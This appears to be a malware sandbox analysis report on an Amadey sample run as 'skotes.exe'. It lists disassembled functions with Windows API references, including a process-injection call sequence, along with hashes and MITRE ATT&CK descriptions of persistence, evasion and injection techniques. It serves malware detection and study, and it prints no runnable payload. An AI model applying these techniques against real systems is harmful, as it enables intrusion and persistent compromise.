Opcode Fuzzy Hash: 2490790a2c4424bfcbf128f3201736b9eb669bf7d92e41271162f2c2d877e618
Instruction Fuzzy Hash: 73310A71B002049BEB08DB78DD8979CBB72EF85318F24862EE054B73D5C77D9991871A

Function 0040A682 Relevance: 1.6, APIs: 1, Instructions: 105sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0040A685
Sleep.KERNELBASE(00000064,?), ref: 0040A963
CreateMutexA.KERNELBASE(00000000,00000000,00463254), ref: 0040A981
GetLastError.KERNEL32 ref: 0040A989
GetLastError.KERNEL32 ref: 0040A99A

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast$AttributesCreateFileMutexSleep
String ID:
API String ID: 2742703886-0
Opcode ID: 9b1e1d051d91ed0d094286e0445d7252053b3376e1c5daa723f50c0f565058f3
Instruction ID: f2407fc4001374e8d630a20de8f378bb700d47030947fa9166f468cfde575e45
Opcode Fuzzy Hash: 9b1e1d051d91ed0d094286e0445d7252053b3376e1c5daa723f50c0f565058f3
Instruction Fuzzy Hash: FC310871B002049BEB08DB78CD8979DBB72EB86314F24C62EE054A73D5C77E8990875A

Function 0040A7B7 Relevance: 1.6, APIs: 1, Instructions: 104sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0040A7BA
Sleep.KERNELBASE(00000064,?), ref: 0040A963
CreateMutexA.KERNELBASE(00000000,00000000,00463254), ref: 0040A981
GetLastError.KERNEL32 ref: 0040A989
GetLastError.KERNEL32 ref: 0040A99A

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast$AttributesCreateFileMutexSleep
String ID:
API String ID: 2742703886-0
Opcode ID: fcc2e177b4f15e377919ebb87834cd56c3ea86209294201e69ca8b900a953689
Instruction ID: 708ac7c539b84bc56d0f911c974f1a8df7384db8e58729bb082dec4ca25a47f8
Opcode Fuzzy Hash: fcc2e177b4f15e377919ebb87834cd56c3ea86209294201e69ca8b900a953689
Instruction Fuzzy Hash: 1C310A72B002048BEB08DB78CE8979DBB72AB85314F24C62EE014B73D5D73D8991871A

Function 0043AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0043AC8D

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: b179973e2016f215b0ef3759c58dae6fc3af94d4a8fe8fa67ffe374620a294ef
Instruction ID: a66abbd6648e96b8c426010f02d88ffd1877682ffd29169a79776235427ef3c3
Opcode Fuzzy Hash: b179973e2016f215b0ef3759c58dae6fc3af94d4a8fe8fa67ffe374620a294ef
Instruction Fuzzy Hash: 551118B1A0420AAFCB05DF59E94199B7BF4EF48304F04406AF805AB351D670DD21DB69

Function 00436DDA Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00436E41

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 4bf55d96b3124123fa5b4d90ff1f5c8938864954e94b728903c20be6fe2521f5
Instruction ID: caf716810d89335458da247e87b67cbe6bddd4a27f6768b685f1195746756c03
Opcode Fuzzy Hash: 4bf55d96b3124123fa5b4d90ff1f5c8938864954e94b728903c20be6fe2521f5
Instruction Fuzzy Hash: FC018872C0411ABECF02AFB9DC0279F7FF59B08314F21916BE818E2191DA358A44D789

Function 00441A2E Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00441A91

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 0da8171cac030f6b45925a7c5248a00485fab8e2398974f4a4f83c3fb58f0ae8
Instruction ID: c9b0d8fa498f0fd219daed50f945327353b6da4e75b16bd436644be4f456858a
Opcode Fuzzy Hash: 0da8171cac030f6b45925a7c5248a00485fab8e2398974f4a4f83c3fb58f0ae8
Instruction Fuzzy Hash: DE014F72C01159BFDF01EFE88C01AEE7FB5AF08314F14416AF914F2161E6358A65DB95

Function 0043B04B Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,708790F9,?), ref: 0043B07D

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e8d29c579fbe0dbb9990d3024b7ea32ec305f13d6327c1f4be71044e81a6531e
Instruction ID: 1cb01c0e060f4cd42e57510be9b20f0956e8337f8686784a9c24bf025648d394
Opcode Fuzzy Hash: e8d29c579fbe0dbb9990d3024b7ea32ec305f13d6327c1f4be71044e81a6531e
Instruction Fuzzy Hash: C7E0E53510121596E73836369C02B5FB768DB493A0F153223EFE4D22A1DB58CC0081ED

Function 00441775 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00441B65,?,?,00000000,?,00441B65,00000000,0000000C), ref: 00441792

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: efd75a4b3e0d0f44703b7e6113a489f3725145c46bff7276ab7cb2ca30d4afc5
Instruction ID: 728716dea2d8701cc34847fc6eeab83fc4e7ccc419190b368175d6442f09313a
Opcode Fuzzy Hash: efd75a4b3e0d0f44703b7e6113a489f3725145c46bff7276ab7cb2ca30d4afc5
Instruction Fuzzy Hash: 10D06C3201020DBBDF028F84DC06EDE3BAAFB48715F014150BA1856020C732E861AB94

Function 006D0BB5 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 006D0C06

Memory Dump Source

Source File: 0000001C.00000002.4668968733.00000000006D0000.00000040.00000020.00020000.00000000.sdmp, Offset: 006D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6d0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 2d56170e34fcbe04c4c8121118d37db47fd9786c56b7b4a9c8031bddfee4e9e6
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: D0112B79A00208EFDB01DF98CA85E98BBF5AF08350F058095F9489B362D375EA50DB84

Function 00416C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 00416CF5

Memory Dump Source

Source File: 0000001C.00000002.4668594111.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.4668594111.0000000000462000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001C.00000002.4668594111.0000000000469000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 094e8a0f3bce6c07c61031f93608600f6c151f0e61d94669401ba84417781954
Instruction ID: d25f59c851155858dfca88a8e66668f5de182f8ed3116e5afb4592376e8681e2
Opcode Fuzzy Hash: 094e8a0f3bce6c07c61031f93608600f6c151f0e61d94669401ba84417781954
Instruction Fuzzy Hash: 00F02171E00A00ABC700BB698D06B4E7B74EB42BA4F90026EE820272D1EB781A0047DB

Non-executed Functions

Function 00627157 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 174processmemorythreadCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00627334
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00627392
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 006273AB
GetThreadContext.KERNEL32(?,00000000), ref: 006273C0
ReadProcessMemory.KERNEL32(?,00458DF8,?,00000004,00000000), ref: 006273E0

Strings

VUUU, xrefs: 006271A8

Memory Dump Source

Source File: 0000001C.00000002.4668844085.0000000000620000.00000040.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_620000_skotes.jbxd

Yara matches

Similarity

API ID: Process$AllocContextCreateFileMemoryModuleNameReadThreadVirtual
String ID: VUUU
API String ID: 338953623-2040033107
Opcode ID: 8d52878efc5f8f8a1e952e44b6c95f7c24c53631ccf418eeef8ebfb25720e601
Instruction ID: ff89f24e04d4946e481ec864403e8c9f73b834c6bf864c7aa3da903e65bc9ec7
Opcode Fuzzy Hash: 8d52878efc5f8f8a1e952e44b6c95f7c24c53631ccf418eeef8ebfb25720e601
Instruction Fuzzy Hash: 0751D171644300AFD750AB64DC06F9ABBE9FF84B15F004529FA44EB2D1DBB4E904CB9A

Function 0064107A Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0064117D
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006411C9

Part of subcall function 006428C4: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 006429B7

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00641235
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00641251
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006412A5
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 006412D2
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00641328

Strings

(, xrefs: 00641189

Memory Dump Source

Source File: 0000001C.00000002.4668844085.0000000000620000.00000040.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_620000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 97f5cfb5054145a50c69719e5e21d6391f3292fc1eddb95c28002738003bc8bd
Instruction ID: 6ab1d55cd1d390583fcdea63687da063726d8b02424110e9251d7717529da9a7
Opcode Fuzzy Hash: 97f5cfb5054145a50c69719e5e21d6391f3292fc1eddb95c28002738003bc8bd
Instruction Fuzzy Hash: E6B19D70A00615AFDB18CF68D990ABEBBB6FF45700F14416DE801AB790D770BD81CBA4

Function 0063F0C6 Relevance: 10.6, APIs: 7, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0063F0CD
_SpinWait.LIBCONCRT ref: 0063F123
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0063F12F
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0063F148
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0063F176
Concurrency::Context::Block.LIBCONCRT ref: 0063F198

Memory Dump Source

Source File: 0000001C.00000002.4668844085.0000000000620000.00000040.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_620000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::H_prolog3ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1888882079-0
Opcode ID: 51f1a6270a472bcdd30247f4592d3322b934ddd74063de143c259ec6416e4012
Instruction ID: 3f61cdbccb3bcce6b56c388ea07188eb1d7f71710a5070c7c2f777740f397459
Opcode Fuzzy Hash: 51f1a6270a472bcdd30247f4592d3322b934ddd74063de143c259ec6416e4012
Instruction Fuzzy Hash: 10219070C00219DADF68EFA4D846AEEB7F2AF15310F60053EE065A62D1EB718A44CBD5

Function 00637067 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00637138
std::_Rethrow_future_exception.LIBCPMT ref: 00637189
std::_Rethrow_future_exception.LIBCPMT ref: 00637199
__Mtx_unlock.LIBCPMT ref: 0063723C
__Mtx_unlock.LIBCPMT ref: 00637342
__Mtx_unlock.LIBCPMT ref: 0063737D

Memory Dump Source

Source File: 0000001C.00000002.4668844085.0000000000620000.00000040.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_620000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 411bbcd3c98b8483f8dc7711dd14b2669908e861b9d7381f1d8c4d8a9dcadb8d
Instruction ID: f694fe413c74282458936556978aa3bd9d728e6fe813409774ede2aa6ebb3251
Opcode Fuzzy Hash: 411bbcd3c98b8483f8dc7711dd14b2669908e861b9d7381f1d8c4d8a9dcadb8d
Instruction Fuzzy Hash: 52C1D2B19046489BDB30DF64C945BAEBBF6EF05310F00452EE816A7782E775AA04CBD1

Function 00640081 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegisterWaitForSingleObject.KERNEL32(?,%C,?,00650C8C,000000FF,0000000C), ref: 00640098
GetLastError.KERNEL32(?,00650C8C,?,00430925,?,?,?,?,?,?,00645F15,?), ref: 006400A7
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006400BD

Strings

%C, xrefs: 00640094

Memory Dump Source

Source File: 0000001C.00000002.4668844085.0000000000620000.00000040.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_620000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorLastObjectRegisterSingleWait
String ID: %C
API String ID: 2296417588-4291884666
Opcode ID: fbcf708f24b496e530a1d5d1bc838a4ad30d765a2443b3a5aa298535997dd61c
Instruction ID: 5b9c78914336c79b52d5399a1c89eade7118d83d9c6de83ee01e12d8eb721c25
Opcode Fuzzy Hash: fbcf708f24b496e530a1d5d1bc838a4ad30d765a2443b3a5aa298535997dd61c
Instruction Fuzzy Hash: A1F0A03550020AFBDF00EFA5DD45FEE377DAB00B02F200625B620E21D2DA39D6049B64

Function 00623127 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 006231C6
GetCurrentThreadId.KERNEL32 ref: 006231E5
__Mtx_unlock.LIBCPMT ref: 00623233
__Cnd_broadcast.LIBCPMT ref: 0062324A

Memory Dump Source

Source File: 0000001C.00000002.4668844085.0000000000620000.00000040.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_620000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: d95c55a17dc6c0951bf91651ac23ff9b82cafa9506b18cb5ad1f8234279d2599
Instruction ID: 89ff50456ccfc7fff382e5b123241aef800ea6ae1b74a3c62017c83cb0942e3e
Opcode Fuzzy Hash: d95c55a17dc6c0951bf91651ac23ff9b82cafa9506b18cb5ad1f8234279d2599
Instruction Fuzzy Hash: 5441CFB0901A25DBDB209F64D94879AB7E9FF15320F10452EE815E7782EB39EA04CBC1

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report yjzllYsjlU.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_skotes.exe_1a335e5a41ca67f8c458c244e983f207da8cbdd_360c380b_3c1a7e6c-414e-4f0b-80ef-5dbce2fa66fd\Report.wer

